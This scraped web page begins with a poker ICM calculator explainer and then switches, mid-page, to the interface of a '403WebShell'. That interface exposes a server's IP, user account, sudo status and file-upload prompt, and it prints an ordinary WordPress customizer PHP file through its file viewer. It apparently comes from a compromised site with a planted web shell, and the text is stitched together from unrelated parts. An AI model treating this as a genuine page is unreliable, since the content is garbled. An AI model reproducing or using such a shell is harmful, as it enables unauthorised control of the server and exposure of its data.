ICM Calculator
Use this ICM calculator to convert tournament chip stacks into real-money equity based on payout structures, remaining players, and chip stacks. The Independent Chip Model (ICM) helps poker players make mathematically optimal decisions in high-pressure situations like the bubble and final table.
Calculate tournament equity instantly
Adjust for stack sizes and payout structure
Improve shove, call, and fold decisions
What is ICM in Poker?
The Independent Chip Model (ICM) is a mathematical model used in poker tournaments to estimate a player’s share of the prize pool based on their chip stack relative to other players.
Unlike cash games, tournament chips do not have a linear value. This means doubling your stack does not double your expected winnings. ICM accounts for this by factoring in payout structures and the probability of finishing in each position.
How This ICM Calculator Works
This calculator converts chip stacks into Expected Value (EV) by simulating how often each player finishes in each payout position.
To use it effectively, input:
Each player’s chip stack
The tournament payout structure
The calculator then outputs each player’s equity as a percentage of the total prize pool.
When Should You Use ICM?
ICM is most important in high-leverage tournament situations, including:
The bubble - when one player remains before payouts begin
Final tables - where payout jumps are significant
Short-handed play - where each decision has larger impact
In these spots, correct ICM decisions can dramatically increase your long-term tournament ROI.
ICM Strategy Tips
Understanding ICM leads to better strategic adjustments:
Play tighter when calling all-ins near the bubble
Apply pressure as a big stack against medium stacks
Avoid marginal spots when survival has significant value
Recognize payout jumps before making aggressive plays
403WebShell 403Webshell
Server IP : 18.223.242.41 / Your IP : 216.73.216.206 Web Server : Apache System : Linux ip-172-26-5-222 6.1.0-51-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64 User : bitnami ( 1000 ) PHP Version : 8.3.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : / opt /bitnami /apps /wordpress /wp-includes /customize / Upload File :
[ Back ] Current File : /opt/bitnami/apps/wordpress/wp-includes/customize/class-wp-customize-header-image-control.php <?php
/**
* Customize API: WP_Customize_Header_Image_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize Header Image Control class.
*
* @since 3.4.0
*
* @see WP_Customize_Image_Control
*/
class WP_Customize_Header_Image_Control extends WP_Customize_Image_Control {
/**
* Customize control type.
*
* @since 4.2.0
* @var string
*/
public $type = 'header';
/**
* Uploaded header images.
*
* @since 3.9.0
* @var string
*/
public $uploaded_headers;
/**
* Default header images.
*
* @since 3.9.0
* @var string
*/
public $default_headers;
/**
* Constructor.
*
* @since 3.4.0
*
* @param WP_Customize_Manager $manager Customizer bootstrap instance.
*/
public function __construct( $manager ) {
parent::__construct(
$manager,
'header_image',
array(
'label' => __( 'Header Image' ),
'settings' => array(
'default' => 'header_image',
'data' => 'header_image_data',
),
'section' => 'header_image',
'removed' => 'remove-header',
'get_url' => 'get_header_image',
)
);
}
/**
*/
public function enqueue() {
wp_enqueue_media();
wp_enqueue_script( 'customize-views' );
$this->prepare_control();
wp_localize_script(
'customize-views',
'_wpCustomizeHeader',
array(
'data' => array(
'width' => absint( get_theme_support( 'custom-header', 'width' ) ),
'height' => absint( get_theme_support( 'custom-header', 'height' ) ),
'flex-width' => absint( get_theme_support( 'custom-header', 'flex-width' ) ),
'flex-height' => absint( get_theme_support( 'custom-header', 'flex-height' ) ),
'currentImgSrc' => $this->get_current_image_src(),
),
'nonces' => array(
'add' => wp_create_nonce( 'header-add' ),
'remove' => wp_create_nonce( 'header-remove' ),
),
'uploads' => $this->uploaded_headers,
'defaults' => $this->default_headers,
)
);
parent::enqueue();
}
/**
* @global Custom_Image_Header $custom_image_header
*/
public function prepare_control() {
global $custom_image_header;
if ( empty( $custom_image_header ) ) {
return;
}
add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_header_image_template' ) );
// Process default headers and uploaded headers.
$custom_image_header->process_default_headers();
$this->default_headers = $custom_image_header->get_default_header_images();
$this->uploaded_headers = $custom_image_header->get_uploaded_header_images();
}
/**
*/
public function print_header_image_template() {
?>
<script type="text/template" id="tmpl-header-choice">
<# if (data.random) { #>
<button type="button" class="button display-options random">
<span class="dashicons dashicons-randomize dice"></span>
<# if ( data.type === 'uploaded' ) { #>
<?php _e( 'Randomize uploaded headers' ); ?>
<# } else if ( data.type === 'default' ) { #>
<?php _e( 'Randomize suggested headers' ); ?>
<# } #>
</button>
<# } else { #>
<button type="button" class="choice thumbnail"
data-customize-image-value="{{data.header.url}}"
data-customize-header-image-data="{{JSON.stringify(data.header)}}">
<span class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
_e( 'Set image' );
?>
</span>
<img src="{{data.header.thumbnail_url}}" alt="{{data.header.alt_text || data.header.description}}" />
</button>
<# if ( data.type === 'uploaded' ) { #>
<button type="button" class="dashicons dashicons-no close">
<span class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
_e( 'Remove image' );
?>
</span>
</button>
<# } #>
<# } #>
</script>
<script type="text/template" id="tmpl-header-current">
<# if (data.choice) { #>
<# if (data.random) { #>
<div class="placeholder">
<span class="dashicons dashicons-randomize dice"></span>
<# if ( data.type === 'uploaded' ) { #>
<?php _e( 'Randomizing uploaded headers' ); ?>
<# } else if ( data.type === 'default' ) { #>
<?php _e( 'Randomizing suggested headers' ); ?>
<# } #>
</div>
<# } else { #>
<img src="{{data.header.thumbnail_url}}" alt="{{data.header.alt_text || data.header.description}}" />
<# } #>
<# } #>
</script>
<?php
}
/**
* @return string|void
*/
public function get_current_image_src() {
$src = $this->value();
if ( isset( $this->get_url ) ) {
$src = call_user_func( $this->get_url, $src );
return $src;
}
}
/**
*/
public function render_content() {
$visibility = $this->get_current_image_src() ? '' : ' style="display:none" ';
$width = absint( get_theme_support( 'custom-header', 'width' ) );
$height = absint( get_theme_support( 'custom-header', 'height' ) );
?>
<div class="customize-control-content">
<?php
if ( current_theme_supports( 'custom-header', 'video' ) ) {
echo '<span class="customize-control-title">' . $this->label . '</span>';
}
?>
<div class="customize-control-notifications-container"></div>
<p class="customizer-section-intro customize-control-description">
<?php
if ( current_theme_supports( 'custom-header', 'video' ) ) {
_e( 'Click “Add Image” to upload an image file from your computer. Your theme works best with an image that matches the size of your video — you’ll be able to crop your image once you upload it for a perfect fit.' );
} elseif ( $width && $height ) {
printf(
/* translators: %s: Header size in pixels. */
__( 'Click “Add Image” to upload an image file from your computer. Your theme works best with an image with a header size of %s pixels — you’ll be able to crop your image once you upload it for a perfect fit.' ),
sprintf( '<strong>%s × %s</strong>', $width, $height )
);
} elseif ( $width ) {
printf(
/* translators: %s: Header width in pixels. */
__( 'Click “Add Image” to upload an image file from your computer. Your theme works best with an image with a header width of %s pixels — you’ll be able to crop your image once you upload it for a perfect fit.' ),
sprintf( '<strong>%s</strong>', $width )
);
} else {
printf(
/* translators: %s: Header height in pixels. */
__( 'Click “Add Image” to upload an image file from your computer. Your theme works best with an image with a header height of %s pixels — you’ll be able to crop your image once you upload it for a perfect fit.' ),
sprintf( '<strong>%s</strong>', $height )
);
}
?>
</p>
<div class="current">
<label for="header_image-button">
<span class="customize-control-title">
<?php _e( 'Current header' ); ?>
</span>
</label>
<div class="container">
</div>
</div>
<div class="actions">
<?php if ( current_user_can( 'upload_files' ) ) : ?>
<button type="button"<?php echo $visibility; ?> class="button remove" aria-label="<?php esc_attr_e( 'Hide header image' ); ?>"><?php _e( 'Hide image' ); ?></button>
<button type="button" class="button new <?php echo ! $this->get_current_image_src() ? '' : 'customize-header-image-not-selected'; ?>" id="header_image-button" aria-label="<?php esc_attr_e( 'Add Header Image' ); ?>"><?php _e( 'Add Image' ); ?></button>
<?php endif; ?>
</div>
<div class="choices">
<span class="customize-control-title header-previously-uploaded">
<?php _ex( 'Previously uploaded', 'custom headers' ); ?>
</span>
<div class="uploaded">
<div class="list">
</div>
</div>
<span class="customize-control-title header-default">
<?php _ex( 'Suggested', 'custom headers' ); ?>
</span>
<div class="default">
<div class="list">
</div>
</div>
</div>
</div>
<?php
}
}
Youez - 2016 - github.com/yon3zuLinuXploit